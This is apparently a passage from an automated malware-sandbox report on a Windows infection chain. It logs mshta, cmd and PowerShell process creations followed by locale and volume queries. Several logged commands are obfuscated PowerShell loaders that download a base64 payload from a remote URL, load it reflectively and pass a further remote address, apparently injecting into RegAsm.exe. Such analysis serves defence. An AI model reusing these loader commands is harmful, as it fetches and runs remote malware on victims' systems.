==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('g'+'yfurl = '+'c'+'na'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/detahn'+'otev'+'.'+'txtcna'+';gyfbase'+'64content '+'= (ne'+'w'+'-obj'+'ec'+'t'+' syst'+'em.n'+'et'+'.webclien'+'t)'+'.download'+'string(gyf'+'url)'+';g'+'yfbinar'+'y'+'content = '+'[system'+'.con'+'vert'+']::frombase64s'+'t'+'ring'+'(gy'+'fb'+'ase'+'64cont'+'e'+'n'+'t);g'+'yfa'+'s'+'s'+'embl'+'y = [refl'+'ec'+'ti'+'on.a'+'ss'+'embly'+']'+'::'+'load(gyfbi'+'nary'+'con'+'tent'+');gyftype = gyfa'+'ssem'+'bly.g'+'ettype'+'(cnarunpe'+'.h'+'om'+'ecn'+'a);gyf'+'me'+'th'+'od = gyft'+'ype.getmethod(cnav'+'aicna);gyfmethod.invoke(gyf'+'null, [objec'+'t['+']]@(cnatxt.'+'azpphc/54'+'3/841.'+'23.861'+'.'+'401//:ptthcna , cnadesativadocna , cnadesativa'+'docn'+'a ,'+' cn'+'a'+'desativ'+'a'+'docna,c'+'nare'+'gasmcna'+',c'+'nacna'+'))').replace('cna',[string][char]39).replace('gyf','$') \| . ( $env:comspec[4,26,25]-join'')"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jdbgicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ftwjlckrfrmlosxrjt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagihhzd0isc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagdknbew1xsfcsc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagc0rylhvpbnqgicagicagicagicagicagicagicagicagicagicagicbmuixjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbnchlsc3voktsnicagicagicagicagicagicagicagicagicagicagicaglw5btwugicagicagicagicagicagicagicagicagicagicagicaia28iicagicagicagicagicagicagicagicagicagicagicaglu5btuvzugfjrsagicagicagicagicagicagicagicagicagicagicagihpncmz6qmtebgllicagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicqwrjo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzewnc4xnjgumziumtq4lzm0ns9uawnlbwvldgluz3nvznbpy3r1cmvjbgvhcnroaw5nc3rvymuudelgiiwijgvudjpbufbeqvrbxg5py2vtzwv0aw5nc29mcgljdhvyzwnszwfydghpbmdzdg9illzicyismcwwkttzdgfyvc1ztgvfccgzktttvgfsvcagicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcbmljzw1lzxrpbmdzb2zwawn0dxjly2xlyxj0agluz3n0b2iuvmjzig=='+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jdbgicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ftwjlckrfrmlosxrjt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagihhzd0isc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagdknbew1xsfcsc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagc0rylhvpbnqgicagicagicagicagicagicagicagicagicagicagicbmuixjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbnchlsc3voktsnicagicagicagicagicagicagicagicagicagicagicaglw5btwugicagicagicagicagicagicagicagicagicagicagicaia28iicagicagicagicagicagicagicagicagicagicagicaglu5btuvzugfjrsagicagicagicagicagicagicagicagicagicagicagihpncmz6qmtebgllicagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicqwrjo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzewnc4xnjgumziumtq4lzm0ns9uawnlbwvldgluz3nvznbpy3r1cmvjbgvhcnroaw5nc3rvymuudelgiiwijgvudjpbufbeqvrbxg5py2vtzwv0aw5nc29mcgljdhvyzwnszwfydghpbmdzdg9illzicyismcwwkttzdgfyvc1ztgvfccgzktttvgfsvcagicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcbmljzw1lzxrpbmdzb2zwawn0dxjly2xlyxj0agluz3n0b2iuvmjzig=='+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdnjysnwuz1cmwgpsankyddjysntkenkydodhqnkydwcycrjzovjysnl2lhnjawmtawjysnlnvzlicrj2fyy2hpdmuujysnb3jnlzi0lycrj2l0jysnzw1zlycrj2rldgenkydolw4nkydvjysndgutjysndi9ezxrhae4nkydvdgvwjysnlicrj3r4denoqscrjztnwuziyxnljysnnjrdb250zw50iccrjz0gke5ljysndycrjy1pymonkydlyycrj3qnkycgu3lzdccrj2vtlk4nkydldccrjy5xzwjdbgllbicrj3qpjysnlkrvd25sb2fkjysnu3ryaw5nkgdzricrj3vybcknkyc7zycrj1lgymluyxinkyd5jysnq29udgvudca9iccrj1ttexn0zw0nkycuq29ujysndmvydccrj106okzyb21cyxnlnjrtjysndccrj3jpbmcnkycoz1knkydgyicrj2fzzscrjzy0q29udccrj2unkydujysndck7zycrj1lgyscrj3mnkydzjysnzw1ibccrj3kgpsbbumvmbccrj2vjjysndgknkydvbi5bjysnc3mnkydlbwjsescrj10nkyc6oicrj0xvywqoz1lgymknkyduyxj5jysnq29ujysndgvudccrjyk7z1lgdhlwzsa9igdzrmenkydzc2vtjysnymx5lkcnkydldfr5cgunkycoq05bunvuueunkycusccrj29tjysnzunojysnqsk7z1lgjysnbwunkyd0accrj29kid0gz1lgdccrj3lwzs5hzxrnzxrob2qoq05bvicrj0fjq05bkttnwuztzxrob2qusw52b2tlkgdzricrj251bgwsiftvymplyycrj3rbjysnxv1akenoqxr4dc4nkydbwlbqsemvntqnkyczlzg0ms4nkycymy44njenkycujysnndaxly86chr0aenoqsasienoqwrlc2f0axzhzg9dtkeglcbdtkfkzxnhdgl2yscrj2rvq04nkydbicwnkycgq04nkydbjysnzgvzyxrpdicrj2enkydkb0noqsxdjysntkfszscrj2dbc21dtkenkycsqycrj05bq05bjysnksknks5yrvbsyunfkcddtkenlftzdhjjbmddw0niyxjdmzkplnjfugxhq0uoj2dzricsjyqnksb8ic4gkcakzu5woknpbxnwrwnbncwyniwynv0tak9pticnkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('g'+'yfurl = '+'c'+'na'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/detahn'+'otev'+'.'+'txtcna'+';gyfbase'+'64content '+'= (ne'+'w'+'-obj'+'ec'+'t'+' syst'+'em.n'+'et'+'.webclien'+'t)'+'.download'+'string(gyf'+'url)'+';g'+'yfbinar'+'y'+'content = '+'[system'+'.con'+'vert'+']::frombase64s'+'t'+'ring'+'(gy'+'fb'+'ase'+'64cont'+'e'+'n'+'t);g'+'yfa'+'s'+'s'+'embl'+'y = [refl'+'ec'+'ti'+'on.a'+'ss'+'embly'+']'+'::'+'load(gyfbi'+'nary'+'con'+'tent'+');gyftype = gyfa'+'ssem'+'bly.g'+'ettype'+'(cnarunpe'+'.h'+'om'+'ecn'+'a);gyf'+'me'+'th'+'od = gyft'+'ype.getmethod(cnav'+'aicna);gyfmethod.invoke(gyf'+'null, [objec'+'t['+']]@(cnatxt.'+'azpphc/54'+'3/841.'+'23.861'+'.'+'401//:ptthcna , cnadesativadocna , cnadesativa'+'docn'+'a ,'+' cn'+'a'+'desativ'+'a'+'docna,c'+'nare'+'gasmcna'+',c'+'nacna'+'))').replace('cna',[string][char]39).replace('gyf','$') \| . ( $env:comspec[4,26,25]-join'')"	Jump to behavior

Source: RegAsm.exe, 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerL
Source: RegAsm.exe, 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager,
Source: RegAsm.exe, 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manageres }
Source: RegAsm.exe, 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager`
Source: RegAsm.exe, 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, logs.dat.11.dr	Binary or memory string: [Program Manager]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00434CB6 cpuid

11_2_00434CB6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	11_2_0045201B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	11_2_004520B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	11_2_00452143
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	11_2_00452393
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	11_2_00448484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_004524BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	11_2_004525C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	11_2_00452690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	11_2_0044896D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	11_2_0040F90C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	11_2_00451D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	11_2_00451FD0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
